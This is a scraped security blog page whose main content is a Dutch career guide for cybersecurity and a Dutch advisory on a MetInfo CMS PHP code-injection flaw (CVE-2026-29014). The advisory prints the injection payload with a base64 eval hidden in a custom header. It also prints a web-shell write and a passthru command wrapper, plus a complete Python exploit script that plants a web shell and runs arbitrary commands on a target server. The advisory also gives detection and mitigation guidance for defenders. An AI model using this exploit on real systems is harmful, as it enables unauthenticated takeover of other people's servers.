Zhassulan Zhussupov

In this post, we will investigate the concept of a reverse shell and examine some examples of its application in practice by making use of netcat and socat.

Reverse shells and cats (netCAT, soCAT)

This little analysis is based on leaked banking malware Carbanak's source codes.     

Classic Malware: Carbanak

Stuxnet, as it came to be known, was unlike any other virus or worm that came before. In today's article we will reverse engineer this malware in order to better understand its code.

Malware Analysis example. Classic case: Stuxnet

We will do static analysis on PDF documents, including analysis of embedded strings.      

Static malware analysis of PDF files

Static code analysis is the technique of studying the source code of a program without running it. This can be valuable for malware reverse engineering, as it can assist discover dangerous code.

Intro to static malware analysis

DLL hijacking is a method in which a trusted and legit program is tricked into loading a malicious DLL.    

What is DLL Hijacking? And How Does it Work?

Joel Aviad Ossi

<html><head></head><body><img src="https://websec-public.ams3.digitaloceanspaces.com/public/blog/605118a0c452ea0751962bdb/9913e2857d4fae78d35ad56f16708ca0/a9UHVxk25CUrW77WeqqLa" alt="Beginnen in Cybersecurity" width="1080" height="568" loading="lazy">
Hoe te beginnen in Cybersecurity
Wil je leren hoe je van cybersecurity je werk maakt? Zoek dan niet verder! Dit artikel behandelt alles wat je moet weten over een carrière in cybersecurity, inclusief de stand van zaken in de sector, vereisten, hoe je een goedbetaalde baan kunt bemachtigen, certificeringen, vereiste vaardigheden, het carrièrepad in cybersecurity en meer.
De vraag naar professionals in cybersecurity is toegenomen, en deze trend zal zich naar verwachting voortzetten. Volgens een prognose van het <a href="https://www.grandviewresearch.com/industry-analysis/cyber-security-market">Grand View Research</a> zal de markt voor cybersecurity naar verwachting groeien van een waarde van 179,96 miljard dollar in 2021, tot wel 372,04 miljard dollar in 2028.
Als gevolg hiervan zal de behoefte aan specialisten in cybersecurity naar verwachting blijven toenemen. Het aantal <a href="https://www.einpresswire.com/article/556075599/cybersecurity-jobs-report-3-5-million-openings-through-2025">onvervulde banen in cybersecurity is met ongeveer 350% toegenomen</a>, van 1 miljoen banen in 2013 naar 3,5 miljoen in 2021. En Cybersecurity Ventures denkt dat er in 2025 tot 3,5 miljoen vacatures in cybersecurity zullen zijn.
Er is geen beter moment om in te stappen in cybersecurity dan nu. Het beste van alles is dat alle tools en middelen die je nodig hebt om een succesvolle carrière in dit vakgebied op te bouwen, gemakkelijk toegankelijk zijn. Lees echter verder om te leren wat er van je wordt verwacht en hoe je kunt beginnen.
Is Cybersecurity een gunstig carrièrepad?
Cybersecurity is een lucratieve carrière om nu in te stappen. Er is namelijk een stijgende vraag naar specialisten met deze vaardigheden. Aangezien veel landen een tekort aan werknemers hebben, biedt deze sector zeer grote en veelbelovende carrièrevooruitzichten. Zoals verwacht worden digitale beveiligers goed betaald. Het jaarsalaris hangt af van het soort functie, het niveau van je vaardigheden en je ervaring.
Vereist opleidingsniveau voor banen in cybersecurity
Je hoeft niet per se een bachelordiploma in digitale beveiliging of een aanverwant vakgebied te hebben om een uitstekende baan in dit werkveld te bemachtigen. Cybersecurity is een enorm domein met een grote verscheidenheid aan functies. De opleidingseisen variëren afhankelijk van de rol of functie die je overweegt.
Maar over het algemeen kan iedereen meteen aan de slag en succesvol worden, mits je er de nodige moeite voor doet. Zelfs als je geen technische ervaring hebt. Voor banen op instapniveau heb je geen bachelordiploma in IT, cybersecurity, of een verwante sector nodig.&nbsp;
Hogere functies of rollen kunnen echter een bachelordiploma of een masterdiploma als minimumvereiste hebben. Zo vereist een leidinggevende functie als Chief Information Security Officer (CISO) een bachelordiploma in beveiliging of aanverwante vakgebieden, plus enkele jaren ervaring.&nbsp;
Bij het zoeken naar iemand voor zo'n hoogwaardige en gevoelige functie geven grote bedrijven de voorkeur aan mensen met ten minste een masterdiploma.
Of je nu een diploma hebt of niet, je hebt certificaten nodig om succesvol te worden in dit vakgebied. Certificaten helpen je sneller te leren en vergroten je kansen op een goede baan. In het laatste deel van dit artikel worden onze aanbevolen certificaatprogramma's beschreven.
Hoe bemachtig je een geweldige baan in cybersecurity?
Op de eerste plaats heb je drie belangrijke dingen nodig:
<ul>
<li>Een goed CV</li>
</ul>
<ul>
<li>Hard skills</li>
<li>Soft skills</li>
</ul>
Een goed CV
Hier volgt een lijst met dingen die je aan je cv kunt toevoegen om deze aantrekkelijker te maken:
<ul>
<li>Je "Certificaten" toevoegen</li>
<li>Je "Prestaties / CVE-nummers" toevoegen</li>
<li>Je 'Bug Bounty profielen' toevoegen</li>
<li>Je "Coding Portfolio" toevoegen</li>
<li>Eventueel je vrijwilligerswerk toevoegen</li>
<li>Je referenties toevoegen</li>
<li>Om feedback van anderen vragen en je cv regelmatig bijwerken</li>
</ul>
Het is geen probleem als je bovengenoemde zaken nog niet allemaal hebt. Maar probeer ernaartoe te werken, tijdens een stage of in je vrije tijd. Het vergt veel tijd, oefening en inzet. Als je er hard aan werkt, moet je binnen twee jaar iets hebben dat er zo uitziet: <img src="https://websec-public.ams3.digitaloceanspaces.com/public/blog/605118a0c452ea0751962bdb/2923c0c3ccdf11b454d7b5691cd529a4/M1An3Q0j2vUQnThIEhzVK" width="669" height="790" loading="lazy"><img src="https://websec-public.ams3.digitaloceanspaces.com/public/blog/605118a0c452ea0751962bdb/b23616ee763bfe1b9c05d942d648d73a/Wyse0J5Wur2HIQo_B3lQz" width="666" height="261" loading="lazy"> Soft skills: Je normen en waarden!
Er komt heel wat bij kijken om een professional in cybersecurity te worden. En alleen degenen die bereid zijn hard en slim te werken bereiken de "goudmijn". Hoewel het hacken van een computer niet al te moeilijk is om te leren, krijg je de baan niet als je weet hoe je moet hacken. Het is een combinatie van verschillende vaardigheden die iemand tot een beveiligingsspecialist maken. Hier volgen de essentiële dingen die je moet weten over de verwachtingen van een bedrijf in cybersecurity:
<ol>
<li>Integriteit:&nbsp;Om te kunnen werken met informatiesystemen van klanten en bedrijfsgeheimen moet een beveiligingsspecialist betrouwbaar zijn. Een strafblad kan je kansen op een baan in cybersecurity aanzienlijk verkleinen.</li>
</ol>
Een Verklaring Omtrent het Gedrag (VOG) is verplicht in bijna elke serieuze organisatie in cybersecurity.
Het maakt dus niet uit hoe ervaren je bent op het gebied van informatiebeveiliging. Stel dat je iets verkeerds hebt gedaan, zoals een veroordeling voor computer hacking. In dat geval kun je waarschijnlijk geen Verklaring Omtrent het Gedrag krijgen voor een baan in cybersecurity.
Het kan een decennium duren om je integriteit terug te verdienen, en in sommige landen waar het wordt beschouwd als een "strafbaar feit" kan het voor altijd geschaad zijn, tenzij je een presidentieel pardon krijgt. Dus, zorg dat je niet in de problemen komt. Vermijd onethisch hacken en andere onwettige activiteiten.&nbsp;Blijf ethisch!
<ol start="2">
<li>Een hacking mindset:&nbsp;Vasthouden aan software die andere organisaties of mensen hebben gemaakt, zoals Metasploit, Sqlmap en Nmap, maakt je GEEN expert op het gebied van cybersecurity. Er is meer voor nodig! Het kan je helpen vertrouwd te raken met de concepten, protocollen, methoden en principes, maar het zal je alleen een stage of junior-positie opleveren.</li>
</ol>
Bedrijven hechten evenveel belang aan je mentaliteit als aan je vaardigheden en ervaring. Het beheersen van denkprocessen die bekend staan als de 'hackers mindset' of 'out-of-the-box' denken is wat iemand tot een echt talent maakt. Dit is een zeldzame eigenschap, want er is veel passie voor nodig om deze mentaliteit te ontwikkelen. Je zou kunnen zeggen dat je echt van cybersecurity moet houden om een expert te kunnen worden.
Natuurlijk kun je nog steeds leren denken als een hacker, maar dat zal nooit hetzelfde zijn als iemand die een echte passie voor beveiliging heeft. 3. Oefening baart kunst:&nbsp;Het hebben van een bachelordiploma in cybersecurity of een aanverwant vakgebied is geen absolute vereiste in de beveiliging. Het wordt echter zeer gewaardeerd. Een diploma kan je startsalaris verhogen en je kansen om aangenomen te worden verbeteren.
Beveiligingsbedrijven zoeken mensen die gemakkelijk leren. Veiligheid past misschien niet bij je als je bang bent om buiten je comfortzone te gaan om te leren. Het is geen probleem als je niet veel van beveiliging af weet. Het zou echter het beste zijn als je er veel werk in stopt om er echt in uit te blinken. Zelfontwikkeling is een must! Om een voorbeeld te geven:
Laten we zeggen dat je voor een baan hebt gesolliciteerd en bent afgewezen. Zes maanden later heb je opnieuw gesolliciteerd met hetzelfde cv - geen verbetering. Uiteraard zou dit leiden tot een nieuwe afwijzing.
Stel je voor dat je binnen deze zes maanden 2 CVE-nummers hebt behaald, vijf nieuwe GitHub-projecten hebt gemaakt, 3 Bug Bounties hebt verdiend, en twee certificeringen hebt behaald. Nou, dit toont betrokkenheid. En dat verandert alles. Zorg er dus voor dat je jezelf altijd blijft ontwikkelen!
<ol start="4">
<li>Teamwerk en communicatie:&nbsp;Veel bedrijven hebben verwachtingen op het gebied van soft skills. Behalve dat je het technische aspect van de baan aankunt, willen ze ook weten of je binnen het team past en op een gezonde en begrijpelijke manier communiceert met je collega's en de belanghebbenden.</li>
</ol>
Om erachter te komen of je in het team past, kunnen ze je tijdens het sollicitatiegesprek verschillende vragen stellen, zoals: "Wat zijn je sterke en zwakke punten?", "Hoe reageer je op kritiek/feedback?" en "Heb je in het verleden al eens eerder in een team gewerkt?" of "Werk je meestal alleen of in een team?".
Je kunt niet studeren voor deze vragen, want het gaat om je persoonlijkheid. Het is raadzaam deze zo eerlijk mogelijk te beantwoorden. Als je vindingrijk bent, zal de interviewer in je antwoorden zien wat je te bieden hebt.
Maar je kunt die vragen beter beantwoorden als je begrijpt waarom ze worden gesteld.&nbsp;
Hier zijn enkele tips:
Denk snel, reageer niet te langzaam Als je te veel tijd neemt om over je antwoord na te denken, laat dat zien dat je jezelf niet goed kent of je maakt een nerveuze eerste indruk. Doe dus zo goed mogelijk je best en wees voorbereid op het gesprek. Zoek bijvoorbeeld de naam van de eigenaar op, lees over de start van het bedrijf, het aantal werknemers dat ze hebben, de missie, visie en doelstellingen. Het is niet slecht om over je beslissingen na te denken, maar zorg ervoor dat je het voorbereid doet. Bijvoorbeeld: Zet een glas water naast je klaar en drink telkens een beetje als je even moet nadenken in plaats van elke paar seconden 'uhmm' te herhalen.
De beste zwakte is ook een kracht Als je een zwakte kunt noemen die ook een sterkte is, zoals "perfectionisme", is dat altijd beter dan iets te zeggen als "ik ben vaak te laat".
Kleed je passend Draag geen T-shirt. Draag wat formele kleding en verzorg je baard/haar. Aangezien sommige bedrijven je wellicht zullen voorstellen aan hun klanten, kan een fris/jong uiterlijk iets zijn waar ze naar kijken tijdens een sollicitatiegesprek.
Let op de snelheid waarmee je spreekt Praat niet te snel. Laat iedereen uitpraten voordat je antwoordt. Hoewel het goed is om je enthousiasme te tonen, moet je oppassen dat je niet overprikkeld raakt. Het beste gedrag is neutraal gedrag.&nbsp; Te snel spreken kan leiden tot fouten of kan de indruk wekken dat je iets doet voordat je er goed over nagedacht hebt, wat negatief is en soms zelfs respectloos.
Houd het simpel. De mensen met wie je praat begrijpen niet altijd het technische gedeelte, dus probeer complexe onderwerpen uit te leggen. Als je zaken moeilijk kunt uitleggen, kan dat een aanwijzing zijn dat je niet in staat bent met belanghebbenden te spreken. En dit is iets dat veel grote bedrijven wel eisen.
Blijf professioneel Vloek niet en gebruik geen straattaal. Sommige gesprekken hebben een zeer informele sfeer, maar het blijven sollicitatiegesprekken. Ook al gebruiken de interviewers zelf dit soort taal, blijf altijd professioneel.
Hard skills: Je technische kennis Certificaten
Om een baan in de beveiliging te krijgen, zullen veel bedrijven, zo niet alle, vragen of je enige certificeringen hebt. Meestal vragen ze om de OSCP- en CEH-certificaten. Afhankelijk van hoe jij je carrière de security wilt vormgeven, volgen hier de certificeringstrajecten zoals aanbevolen door WebSec:
Functie:&nbsp;Pentester Certificaten:&nbsp;OSCP, OSWE, OSEP, OSED, GIAC GXPN, GICSP, CISSP of CISM &amp; CISA. Functie:&nbsp;Cloud Security Specialist&nbsp; Certificaten:&nbsp;CEH,CCSP, AZ-500, SCS-C01 Functie: Security Operations Analist Certificaten:&nbsp;CEH, SC-200, GIAC GCIH, E-CSA Functie:&nbsp;Security Manager Certificaten:&nbsp;CEH, CISSP of CISA &amp; CISM Functie:&nbsp;Security Officer&nbsp; Certificaten:&nbsp;CEH, E-CCISO, CISSP of CISA, en CISM. Jarenlange werkervaring als Security Manager
Belangrijke technische vaardigheden voor banen in cybersecurity
Programmeren is een kernvaardigheid op het gebied van cybersecurity die je nodig hebt om carrière te maken in deze sector. Wij hebben enkele populaire programmeertalen opgesomd die veiligheidsspecialisten gebruiken.
<ol>
<li>Python:Deze populaire, open-source scripttaal is relevant voor de beveiligingsindustrie. Python wordt vaak gebruikt om proof-of-concept exploits te maken.</li>
<li>Golang:Deze taal zou nuttig kunnen zijn, aangezien veel beveiligingsinstrumenten in deze taal worden ontwikkeld.</li>
<li>Javascript:Een moderne taal op het web. Een goed begrip van deze technologie kan het niveau van je vaardigheden aanzienlijk verhogen en je helpen meer geavanceerde proof of concepts (PoC) te bouwen.</li>
<li>C:Deze lagere programmeertaal kan worden gebruikt om bijna alles te maken, daarom is het een van de beste talen om te kennen. Het is echter ingewikkelder dan de meeste gemiddelde (modernere) programmeertalen.</li>
<li>C++:Het is een verbetering van C. Net als C helpt het je om ingewikkelde software te creëren kan het veel ingewikkelde taken op het gebied van softwareontwikkeling aan.</li>
<li>Assembly:Ideaal voor reverse engineering en het schrijven van exploits voor ingebedde systemen!</li>
<li>Powershell:Inzicht in Powershell is belangrijk omdat aanvallers het inzetten om toegang te krijgen tot systemen.&nbsp;</li>
<li>Java:Een populaire taal die de tanden van de tijd heeft doorstaan. Het biedt een groot aantal gebruiksmogelijkheden, waaronder het uitvoeren van pentests en het bouwen van programma's voor penetratietests.</li>
<li>PHP:Het wordt beschouwd als de meest populaire server-side taal en is een taal die de moeite waard is om te leren voor het kunnen beoordelen van code.</li>
</ol>
Conclusie
Cybersecurity is nu gemakkelijker dan ooit. Je kunt online gratis middelen gebruiken om de nodige vaardigheden te verwerven. Gezien de miljoenen onvervulde banen wereldwijd kun je moeilijk werkloos zijn als je over de vereiste vaardigheden beschikt.
Er zijn drie primaire leerwegen: zelfstudie, teruggaan naar de universiteit, of een bootcamp volgen over cybersecurity. Elke cursus heeft voor- en nadelen. Evalueer je opties en ga aan de slag met de vastberadenheid om hard te werken tot jij je carrièredoelen bereikt.
Het hebben van een bachelor- of masterdiploma in cybersecurity of een aanverwant vakgebied is natuurlijk geweldig. Overweeg deze optie dan ook als je een hoogwaardige beveiligingsspecialist voor toonaangevende bedrijven wilt worden.
Ben je klaar voor een carrière in de cybersecurity? Raadpleeg onze pagina met <a href="../../jobs">banen</a> voor beschikbare carrières, of dien een open sollicitatie in. Veel succes!
&nbsp;</body></html>

Wil je leren hoe je van cybersecurity je werk maakt? Zoek niet verder! Dit artikel behandelt alles wat u moet weten over een carrière in cybersecurity.

Hoe te beginnen in Cybersecurity

Looking to learn how to break into cybersecurity? Search no further! This article covers everything you need to know about getting into cybersecurity.

How to Get Into Cybersecurity

Gray Oshin

This article covers the top 10 best security tools for pentesting. Learn the key features of each tool and where to hire the best pentesting experts.


Top 10 Best Security Tools for Pentesting

![CVE-2026-29014 banner](https://websec-public.ams3.digitaloceanspaces.com/public/blog/_websec_bucket_/11492055-4967-4b5a-9ac2-8a24adb0e809/CVE-2026-29014_banner.png)

# CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

## Samenvatting

CVE-2026-29014 is een kritieke unauthenticated PHP code injection kwetsbaarheid in MetInfo CMS, die versies `7.9.0` tot en met `8.1.0` treft. Publiek beschikbaar adviesmateriaal beschrijft het probleem als een remote code execution conditie veroorzaakt door onvoldoende neutralisatie van gebruikersinvoer in het uitvoeringspad. Het kwetsbare gedrag is bereikbaar via de WeChat-gerelateerde request handler op `/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi`, waar door de aanvaller gecontroleerde invoer in een PHP-cachebestand kan worden geschreven en vervolgens uitgevoerd.

Het publiek beschikbare technische bewijs is ongewoon sterk. Het advisory van Karma(In)Security bevat kwetsbare code-fragmenten, identificeert de getroffen klasse en methode (`weixinreply.class.php`, `wxAdminLogin()`), en verwijst naar een publieke proof of concept. Het beschikbare PoC-materiaal wijst op een meerfasig unauthenticated exploitpad waarbij eerst PHP wordt geïnjecteerd in een cache-backed bestand en vervolgens command execution wordt getriggerd. VulnCheck registreert eveneens de publieke beschikbaarheid van een exploit voor dit probleem.

Voor aan het internet blootgestelde MetInfo CMS-installaties die kwetsbare versies draaien, vormt dit een risico op initiële toegang en volledige servercompromittering.

## Kwetsbaarheidsoverzicht

* **CVE**: `CVE-2026-29014`
* **Ernst**: Kritiek
* **CVSS**: `9.3`
* **CWE**: `CWE-94`, Improper Control of Generation of Code
* **Leverancier**: MetInfo CMS
* **Product**: MetInfo CMS
* **Getroffen versies**: `7.9.0 <= 8.1.0`
* **Aanvalsoppervlak**: Remote, unauthenticated
* **Impact**: Arbitraire PHP code-uitvoering, remote code execution, potentiële volledige controle over de getroffen server
* **Bekende publieke PoC**: Ja
* **ATT&CK-koppeling**: `T1190`, Exploit Public-Facing Application

## Waarom deze CVE relevant is

Deze kwetsbaarheid is relevant omdat ze drie eigenschappen combineert die defenders als hoge prioriteit moeten behandelen: geen authenticatievereiste, directe code-injectie in de PHP-uitvoeringsstroom, en publieke beschikbaarheid van een exploit.

Het advisory stelt dat aanvallers op afstand arbitraire code kunnen uitvoeren door speciaal vervaardigde requests met kwaadaardige PHP-code te versturen. Het kwetsbare codepad laat zien waarom die stelling geloofwaardig is. In de methode `wxAdminLogin()` wordt door de aanvaller gecontroleerde data uit `FromUserName` doorgegeven aan `cache::put()` via een cache-sleutel afgeleid van `login_code`:

```php
public function wxAdminLogin($data = array(),$code = '')
{
 global $_M;
 $weixinapi = load::mod_class('weixin/weixinapi','new');
 $login_code = cache::get("weixin/".$code);
 if ($login_code) {
 cache::put("weixin/".$login_code,$data['FromUserName']);
 }
 return;
}
```

De bijbehorende cache-schrijffunctie is eveneens publiek gedocumenteerd:

```php
public static function put($file, $data, $type = 'php')
{
 global $_M;

 load::sys_func('file');
 $save = PATH_CACHE . $file . '.' . $type;
 makefile($save);
 #$data = str_replace(array("\"", "\\"), array("\\\"", "\\\\"), $data);
 if (!is_array($data)) {
 file_put_contents($save, "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache=\"{$data}\";\n?>");
 } else {
 $info = var_export($data, true);
 $info = "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache = {$info};\n?>";
 file_put_contents($save, $info);
 }
}
```

De uitgecommentarieerde `str_replace()`-regel is bijzonder relevant. Op basis van de gepubliceerde code wordt string-invoer in een PHP-bestand geschreven binnen een dubbelquoted assignment, zonder dat gevaarlijke tekens vooraf worden geneutraliseerd. Dat is de kernconditie die een cache-schrijfactie omzet in een code-injectieprimitief.

## Technische hoofdoorzaak

De hoofdoorzaak is het onveilig genereren van uitvoerbare PHP-inhoud vanuit niet-vertrouwde invoer.

Twee implementatiedetails uit de gepubliceerde code verklaren het probleem:

1. `wxAdminLogin()` schrijft door de aanvaller gecontroleerde `FromUserName`-data naar de cachelaag.
2. `cache::put()` slaat niet-array-invoer op als een PHP-bestand via string-interpolatie:

```php
$cache="{$data}";
```

Omdat de functie een `.php`-bestand schrijft en de opgegeven waarde direct in een PHP-dubbelquoted string inbedt, kan een aanvaller bij het ontbreken van juiste neutralisatie PHP-code rechtstreeks in die string-context injecteren. In plaats van de stringdelimiters te doorbreken, wordt misbruik gemaakt van PHP's curly-syntaxis binnen dubbelquoted strings, waardoor expressies zoals `{${eval(...)}}` kunnen worden geëvalueerd zonder de omsluitende stringdelimiters te hoeven verlaten. Het advisory karakteriseert het probleem expliciet als een unauthenticated PHP code injection kwetsbaarheid, en het code-fragment ondersteunt die classificatie.

Dezelfde functie construeert het doelpad als:

```php
$save = PATH_CACHE . $file . '.' . $type;
```

De publieke PoC-indicatoren suggereren dat het exploitpad niet uitsluitend afhankelijk is van code-injectie in de waarde, maar ook van het controleren van de cache-bestandsnaam via de `login_code`-stroom. De stage-markeringen `adminlogin&../config/tables` en `adminlogin&Array` wijzen er sterk op dat de aanvaller de cache-sleutel beïnvloedt die door `cache::put("weixin/".$login_code, ...)` wordt gebruikt, waardoor traversal-achtig gedrag in het gegenereerde cachepad mogelijk wordt. De publieke exploitlogica combineert daarom padmanipulatie met PHP code-injectie om door de aanvaller gecontroleerde PHP op een uitvoerbare locatie te plaatsen.

## Exploitpad

Het publieke exploitbewijs wijst op de volgende request handler:

```text
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
```

De door de publieke PoC beschreven exploitstroom verloopt in meerdere fasen.

### Fase 1, PHP injecteren via het WeChat API-pad

Het gestructureerde PoC-bewijs bevat de exacte payload-markering:

```text
event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}
```

Hetzelfde bewijs toont een aangepaste header genaamd `C`, waarvan de waarde door de geïnjecteerde PHP wordt base64-gedecodeerd. Het op de publieke PoC gebaseerde validatieartefact gebruikt die header om code te leveren zoals:

```php
file_put_contents("cache/weixin/Array.php", "<?php eval($_SERVER[HTTP_C]); ?>");
```

Dit is consistent met het kwetsbare codepad. `FromUserName` bereikt `cache::put()`, en de resulterende PHP-bestandsinhoud kan zodanig worden beïnvloed dat door de aanvaller opgegeven PHP wordt uitgevoerd tijdens verdere verwerking. De injectie werkt door misbruik te maken van PHP's curly-syntaxis binnen de dubbelquoted string-context die door `cache::put()` wordt geproduceerd, waardoor PHP-expressies zoals `{${eval(...)}}` worden geëvalueerd zonder de omsluitende stringdelimiters te verlaten.

### Fase 2, het Array-cachedoel voorbereiden

De publieke stage-markeringen bevatten ook een tweede request-body:

```text
event SCAN adminlogin&Array
```

Beschikbare exploitnotities geven aan dat dit tweede request wordt gebruikt om het `Array`-cachebestandspad in te stellen of te refereren, waarna de geïnjecteerde PHP op een stabiele manier bereikbaar is. De exacte interne controlestroom buiten de gepubliceerde fragmenten is niet volledig gedocumenteerd in de publieke advisory-tekst. Het is daarom nauwkeuriger te stellen dat de exploit een tweeledige requestreeks gebruikt met `../config/tables` en `Array` om het aanmaken en uitvoeren van cache te sturen, dan om niet-gedocumenteerde internals te overdrijven.

### Fase 3, commando's uitvoeren en uitvoer verwerken

De publieke PoC-markeringen bevatten de uitvoermarkering `_____` en een PHP-commandowrapper van de volgende vorm:

```php
chdir('../..'); print '_____'; passthru(base64_decode('%s')); print '_____';
```

Die wrapper wordt vervolgens base64-gecodeerd en via hetzelfde injectiemechanisme verzonden via de `C`-header, die de geïnjecteerde PHP uitleest via `$_SERVER[HTTP_C]`. De exploit controleert op `success` tijdens de injectiefase en extraheert vervolgens de uitvoer van commando's tussen de `_____..._____`-markeringen.

Dit is voldoende om te concluderen dat het publieke exploitpad niet louter theoretisch is. Het is ontworpen om op een herhaalbare manier van code-injectie naar operating system command execution te gaan.

### Disclaimer

> Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en beveiligingsonderzoek. Misbruik voor kwaadaardige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door gebruik te maken van dit materiaal gaat u akkoord met onze [Algemene Voorwaarden](https://websec.net/legals/terms-and-conditions). Gebruik is geheel op eigen risico.

## PoC-overwegingen

Een publieke PoC is beschikbaar via Karma(In)Security:

* `https://karmainsecurity.com/pocs/CVE-2026-29014.php`

Het publieke materiaal ondersteunt de volgende concrete reproductiepunten:

* Endpoint: `/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi`
* Unauthenticated aanvalsoppervlak
* Meerfasige requeststroom
* Stage-markeringen: `adminlogin&../config/tables` en `adminlogin&Array`
* Header gebruikt voor payload-transport: `C` (server-side uitgelezen als `$_SERVER[HTTP_C]`)
* Succesindicatoren: `success` en uitvoer omsloten door `_____`

Een operationele noot uit het gegenereerde validatieartefact is het bewaren waard: exploitatie vereist dat de map `/cache/weixin/` bestaat, wat verwacht mag worden wanneer de WeChat-plugin is geïnstalleerd. Dit sluit aan bij het kwetsbare codepad dat `weixin/`-cache-sleutels gebruikt, maar publieke bronfragmenten documenteren niet alle deployment-vereisten volledig. In de praktijk moeten defenders ervan uitgaan dat systemen die het WeChat-modulepad blootstellen kwetsbaar zijn.

### WebSec PoC-opmerking

> De volgende `PoC Exploit by WebSec` is niet getest tegen een live doelwit. Hij is gebaseerd op publieke referenties, advisories, commits en ander geciteerd materiaal, en wordt uitsluitend aangeboden ter toelichting op de waarschijnlijke exploiteerbaarheid en validatielogica.

### PoC Exploit by WebSec

Het volgende compacte validatiescript volgt de publieke exploitvolgorde en is gebaseerd op het gepubliceerde advisory, PoC-indicatoren en het geciteerde codepad. Het is **niet getest** door WebSec en dient uitsluitend te worden behandeld als onderzoekshulpmiddel voor geautoriseerde validatie.

```python
#!/usr/bin/env python3
import requests
import urllib3
import sys
import base64
import re
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def stage1_inject_webshell(target_url):
 endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
 url = target_url.rstrip('/') + endpoint
 payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
 headers = {
 'Content-Type': 'application/x-www-form-urlencoded',
 'C': base64.b64encode(b'file_put_contents("cache/weixin/Array.php", "<?php eval($_SERVER[HTTP_C]); ?>");').decode()
 }
 try:
 response = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
 return "success" in response.text.lower() or response.status_code == 200
 except requests.exceptions.RequestException:
 return False

def stage2_setup_array_cache(target_url):
 endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
 url = target_url.rstrip('/') + endpoint
 payload = 'event SCAN adminlogin&Array'
 try:
 response = requests.post(url, data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded'}, verify=False, timeout=10)
 return response.status_code == 200
 except requests.exceptions.RequestException:
 return False

def execute_command(target_url, command):
 endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
 url = target_url.rstrip('/') + endpoint
 encoded_cmd = base64.b64encode(command.encode()).decode()
 phpcode = f"chdir('../..'); print '_____'; passthru(base64_decode('{encoded_cmd}')); print '_____';"
 payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
 headers = {
 'Content-Type': 'application/x-www-form-urlencoded',
 'C': base64.b64encode(phpcode.encode()).decode()
 }
 try:
 response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
 match = re.search(r'_____(.*)_____', response.text, re.DOTALL)
 return match.group(1).strip() if match else None
 except requests.exceptions.RequestException:
 return None

def main():
 parser = argparse.ArgumentParser()
 parser.add_argument('target')
 parser.add_argument('-c', '--command', default='id')
 args = parser.parse_args()
 target = args.target if args.target.startswith(('http://', 'https://')) else 'http://' + args.target
 if not stage1_inject_webshell(target):
 sys.exit(1)
 if not stage2_setup_array_cache(target):
 sys.exit(1)
 output = execute_command(target, args.command)
 if output is not None:
 print(output)

if __name__ == '__main__':
 main()
```

Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en beveiligingsonderzoek. Misbruik voor kwaadaardige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door gebruik te maken van dit materiaal gaat u akkoord met onze [Algemene Voorwaarden](https://websec.net/legals/terms-and-conditions). Gebruik is geheel op eigen risico.

## MITRE-koppeling

* **CWE-94**: Improper Control of Generation of Code
* **ATT&CK `T1190`**: Exploit Public-Facing Application

De ATT&CK-koppeling past nauwkeurig bij de publieke beschrijving. Het kwetsbare component is een via het web bereikbaar applicatie-endpoint, exploitatie vereist geen authenticatie, en het resultaat is server-side code-uitvoering.

## Detectie en mitigatie

Op basis van het publieke exploitpad dienen defenders zich op het volgende te richten:

### Detectiemogelijkheden

* Controleer HTTP-verkeer naar `/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi`.
* Zoek naar request-bodies die de publieke exploit-markeringen bevatten:
 * `event SCAN adminlogin&../config/tables`
 * `event SCAN adminlogin&Array`
* Inspecteer requests die een ongebruikelijke aangepaste header genaamd `C` bevatten.
* Doorzoek web- en applicatielogboeken op responses die `success` bevatten in de context van de WeChat API-handler.
* Zoek naar bestanden aangemaakt onder cachepaden gerelateerd aan `weixin`, met name verdachte PHP-bestanden zoals `cache/weixin/Array.php`.
* Controleer bestandsintegriteitwijzigingen in cachemappen op ingebedde PHP zoals `eval($_SERVER[HTTP_C])`, `passthru(`, of onverwachte `file_put_contents(`-patronen.

### Mitigatieprioritering

* Upgrade van getroffen versies `7.9.0` tot en met `8.1.0` zodra een leveranciersfixatie beschikbaar is.
* Beperk de blootstelling van MetInfo CMS-beheer- en module-endpoints tot vertrouwde netwerken waar mogelijk.
* Als de WeChat-module niet vereist is, beperk dan de blootstelling van het gerelateerde endpoint en monitor eventuele toegangspogingen.
* Behandel elke bevestigde exploitatie als een volledige servercompromittering. Het publieke advisory stelt dat aanvallers volledige controle over de getroffen server kunnen verkrijgen.

Omdat het publieke exploitpad uitvoerbare PHP schrijft naar cache-backed locaties, dient incident response een bestandssysteemcontrole, het roteren van credentials en een bredere beoordeling van hostkompromittering te omvatten, in plaats van uitsluitend opschoning op webapplicatieniveau.

## Credits

De kwetsbaarheid werd ontdekt door **Egidio Romano**.

## Referenties

* Karma(In)Security, MetInfo CMS <= 8.1 (`weixinreply.class.php`) PHP Code Injection Vulnerability: https://karmainsecurity.com/KIS-2026-06
* Publieke PoC waarnaar het advisory verwijst: https://karmainsecurity.com/pocs/CVE-2026-29014.php
* MetInfo CMS leverancierswebsite: https://www.metinfo.cn/
